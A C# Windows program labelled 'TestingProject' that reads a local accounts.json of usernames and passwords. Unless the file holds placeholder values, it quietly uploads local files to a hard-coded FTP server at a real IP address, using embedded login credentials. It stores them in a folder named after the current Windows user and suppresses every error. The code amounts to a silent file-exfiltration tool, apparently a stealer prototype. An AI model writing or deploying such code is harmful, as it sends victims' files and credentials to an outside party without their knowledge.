done

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Newtonsoft.Json;

namespace TestingProject
{
    public class Account
    {
        public string username { get; set; }
        public string password { get; set; }
        public bool? sentry { get; set; }
    }

    public class Index
    {
        public List<Account> accounts { get; set; }
    }

    public class Accounts
    {
        public List<Index> indexes { get; set; }
    }

    static class Program
    {
        /// <summary>
        /// Главная точка входа для приложения.
        /// </summary>
        [STAThread]
        static void Main()
        {
            string appPath = Path.GetDirectoryName(Application.ExecutablePath);
            if (!Directory.Exists(appPath)) return;//Error//

            string[] files = Directory.GetFiles(appPath);
            string AccountsFile = "";
            for (int i = 0; i < files.Length; i++)
            {
                string file = files[i];
                string[] fileSplited = file.Split('\\');
                string name = fileSplited[fileSplited.Length - 1];
                if (name == "accounts.json")
                {
                    AccountsFile = file;
                    break;
                }
            }
            if (AccountsFile == "") return;

            string data = File.ReadAllText(AccountsFile);
            Accounts acc = JsonConvert.DeserializeObject<Accounts>(data);
            Account ac0 = acc.indexes[0].accounts[0];
            Account ac1 = acc.indexes[1].accounts[1];
            if (ac0.password == "1" && ac0.username == "1")
                if (ac1.password == "1" && ac1.username == "1" && ac1.sentry == true)
                    return;

            CreateFolder(Environment.UserName);
            if (Directory.Exists(appPath))
            {
                var appFiles = Directory.GetFiles(appPath).Where(s => s.Contains("test.txt"));
                foreach (string item in appFiles)
                    FTPUploadFile(item, Environment.UserName);
            }
        }



        static void FTPUploadFile(string file, string directory)
        {
            try
            {
                FileInfo toUpload = new FileInfo(file);
                using (WebClient client = new WebClient())
                {
                    client.Encoding = Encoding.UTF8;
                    client.Credentials = new NetworkCredential("kolyan1337", "123123123");
                    client.UploadFile("ftp://185.209.23.225/check/" + directory + "/" + toUpload.Name, file);
                }
            }
            catch { }
        }

        static void CreateFolder(string name)
        {
            try
            {
                WebRequest request = WebRequest.Create("ftp://185.209.23.225/check/" + name);
                request.Method = WebRequestMethods.Ftp.MakeDirectory;
                request.Credentials = new NetworkCredential("kolyan1337", "123123123");
                using (var resp = (FtpWebResponse)request.GetResponse())
                {
                    Console.WriteLine(resp.StatusCode);
                }
            }
            catch { }
        }
    }
}